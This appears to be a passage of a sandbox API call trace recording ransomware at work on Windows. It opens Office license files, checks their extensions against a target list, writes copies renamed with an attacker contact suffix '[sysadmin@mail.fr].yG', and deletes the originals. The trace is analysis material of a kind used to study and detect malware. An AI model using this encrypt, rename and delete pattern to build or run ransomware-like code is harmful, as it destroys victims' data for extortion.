	[0162.256] WriteFile (in: hFile=0x42c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11c, lpOverlapped=0x0) returned 1
	[0162.256] SetEndOfFile (hFile=0x42c) returned 1
	[0162.256] CloseHandle (hObject=0x42c) returned 1
	[0162.256] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.257] SetEndOfFile (hFile=0x38c) returned 1
	[0162.284] CloseHandle (hObject=0x38c) returned 1
	[0162.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1
	[0162.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.286] lstrlenW (lpString=".doc") returned 4
	[0162.286] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.286] lstrlenW (lpString=".docx") returned 5
	[0162.286] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.286] lstrlenW (lpString=".pdf") returned 4
	[0162.286] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.286] lstrlenW (lpString=".xls") returned 4
	[0162.286] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.286] lstrlenW (lpString=".xlsx") returned 5
	[0162.286] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.286] lstrlenW (lpString=".ppt") returned 4
	[0162.287] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.287] lstrlenW (lpString=".zip") returned 4
	[0162.287] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.287] lstrlenW (lpString=".rar") returned 4
	[0162.287] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.287] lstrlenW (lpString=".bz2") returned 4
	[0162.287] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.287] lstrlenW (lpString=".7z") returned 3
	[0162.287] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.287] lstrlenW (lpString=".dbf") returned 4
	[0162.287] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.287] lstrlenW (lpString=".1cd") returned 4
	[0162.287] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.287] lstrlenW (lpString=".jpg") returned 4
	[0162.287] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.288] lstrlenW (lpString=".doc") returned 4
	[0162.288] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.288] lstrlenW (lpString=".docx") returned 5
	[0162.288] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.288] lstrlenW (lpString=".pdf") returned 4
	[0162.288] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.288] lstrlenW (lpString=".xls") returned 4
	[0162.288] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.288] lstrlenW (lpString=".xlsx") returned 5
	[0162.288] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.288] lstrlenW (lpString=".ppt") returned 4
	[0162.288] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.288] lstrlenW (lpString=".zip") returned 4
	[0162.288] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.288] lstrlenW (lpString=".rar") returned 4
	[0162.288] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.288] lstrlenW (lpString=".bz2") returned 4
	[0162.288] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.289] lstrlenW (lpString=".7z") returned 3
	[0162.289] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.289] lstrlenW (lpString=".dbf") returned 4
	[0162.289] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.289] lstrlenW (lpString=".1cd") returned 4
	[0162.289] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0162.289] lstrlenW (lpString=".jpg") returned 4
	[0162.289] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.289] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0162.289] lstrlenW (lpString="ExcelR_OEM_Perp-ppd.xrm-ms") returned 26
	[0162.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.290] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=20846) returned 1
	[0162.290] CloseHandle (hObject=0x38c) returned 1
	[0162.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0162.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.291] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.291] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0162.293] GetLastError () returned 0x0
	[0162.293] ReadFile (in: hFile=0x38c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x516e, lpOverlapped=0x0) returned 1
	[0162.348] WriteFile (in: hFile=0x42c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5170, lpOverlapped=0x0) returned 1
	[0162.350] ReadFile (in: hFile=0x38c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.350] WriteFile (in: hFile=0x42c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x108, lpOverlapped=0x0) returned 1
	[0162.350] SetEndOfFile (hFile=0x42c) returned 1
	[0162.350] CloseHandle (hObject=0x42c) returned 1
	[0162.350] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.350] SetEndOfFile (hFile=0x38c) returned 1
	[0162.355] CloseHandle (hObject=0x38c) returned 1
	[0162.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1
	[0162.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0162.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0162.694] lstrlenW (lpString=".doc") returned 4
	[0162.694] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.694] lstrlenW (lpString=".docx") returned 5
	[0162.694] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.694] lstrlenW (lpString=".pdf") returned 4
	[0162.694] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.694] lstrlenW (lpString=".xls") returned 4
	[0162.694] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.694] lstrlenW (lpString=".xlsx") returned 5
	[0162.694] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.041] lstrlenW (lpString=".ppt") returned 4
	[0163.041] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0163.041] lstrlenW (lpString=".zip") returned 4
	[0163.041] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.041] lstrlenW (lpString=".rar") returned 4
	[0163.041] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.041] lstrlenW (lpString=".bz2") returned 4
	[0163.041] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.041] lstrlenW (lpString=".7z") returned 3
	[0163.041] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0163.041] lstrlenW (lpString=".dbf") returned 4
	[0163.042] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0163.042] lstrlenW (lpString=".1cd") returned 4
	[0163.042] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0163.042] lstrlenW (lpString=".jpg") returned 4
	[0163.042] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0163.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0163.042] lstrlenW (lpString=".doc") returned 4
	[0163.042] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.042] lstrlenW (lpString=".docx") returned 5
	[0163.042] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.042] lstrlenW (lpString=".pdf") returned 4
	[0163.042] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.042] lstrlenW (lpString=".xls") returned 4
	[0163.042] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.042] lstrlenW (lpString=".xlsx") returned 5
	[0163.042] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.042] lstrlenW (lpString=".ppt") returned 4
	[0163.042] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0163.050] lstrlenW (lpString=".zip") returned 4
	[0163.050] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.050] lstrlenW (lpString=".rar") returned 4
	[0163.050] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.050] lstrlenW (lpString=".bz2") returned 4
	[0163.050] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.050] lstrlenW (lpString=".7z") returned 3
	[0163.050] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0163.050] lstrlenW (lpString=".dbf") returned 4
	[0163.050] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0163.050] lstrlenW (lpString=".1cd") returned 4
	[0163.051] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0163.051] lstrlenW (lpString=".jpg") returned 4
	[0163.051] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.051] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0163.051] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29
	[0163.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0163.311] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=6860) returned 1
	[0163.311] CloseHandle (hObject=0x538) returned 1
	[0163.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220
	[0163.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0163.572] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.572] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0163.625] GetLastError () returned 0x0
	[0163.625] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x1acc, lpOverlapped=0x0) returned 1
	[0163.628] WriteFile (in: hFile=0x514, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0163.630] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.630] WriteFile (in: hFile=0x514, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x10e, lpOverlapped=0x0) returned 1
	[0163.630] SetEndOfFile (hFile=0x514) returned 1
	[0163.631] CloseHandle (hObject=0x514) returned 1
	[0163.631] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.631] SetEndOfFile (hFile=0x538) returned 1
	[0163.701] CloseHandle (hObject=0x538) returned 1
	[0163.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1
	[0163.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.702] lstrlenW (lpString=".doc") returned 4
	[0163.702] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.703] lstrlenW (lpString=".docx") returned 5
	[0163.703] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.703] lstrlenW (lpString=".pdf") returned 4
	[0163.731] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.731] lstrlenW (lpString=".xls") returned 4
	[0163.731] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.731] lstrlenW (lpString=".xlsx") returned 5
	[0163.732] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.732] lstrlenW (lpString=".ppt") returned 4
	[0163.732] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.732] lstrlenW (lpString=".zip") returned 4
	[0163.732] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.732] lstrlenW (lpString=".rar") returned 4
	[0163.732] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.732] lstrlenW (lpString=".bz2") returned 4
	[0163.732] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.732] lstrlenW (lpString=".7z") returned 3
	[0163.732] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.732] lstrlenW (lpString=".dbf") returned 4
	[0163.732] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.732] lstrlenW (lpString=".1cd") returned 4
	[0163.732] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.732] lstrlenW (lpString=".jpg") returned 4
	[0163.732] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.733] lstrlenW (lpString=".doc") returned 4
	[0163.733] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.733] lstrlenW (lpString=".docx") returned 5
	[0163.733] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.733] lstrlenW (lpString=".pdf") returned 4
	[0163.733] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.733] lstrlenW (lpString=".xls") returned 4
	[0163.733] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.733] lstrlenW (lpString=".xlsx") returned 5
	[0163.733] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.733] lstrlenW (lpString=".ppt") returned 4
	[0163.733] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.733] lstrlenW (lpString=".zip") returned 4
	[0163.733] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.733] lstrlenW (lpString=".rar") returned 4
	[0163.734] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.734] lstrlenW (lpString=".bz2") returned 4
	[0163.734] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.734] lstrlenW (lpString=".7z") returned 3
	[0163.734] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.734] lstrlenW (lpString=".dbf") returned 4
	[0163.734] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.734] lstrlenW (lpString=".1cd") returned 4
	[0163.734] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0163.734] lstrlenW (lpString=".jpg") returned 4
	[0163.734] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.734] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0163.734] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 42
	[0163.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0163.804] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11219) returned 1
	[0163.804] CloseHandle (hObject=0x364) returned 1
	[0163.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0163.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0163.805] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.805] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
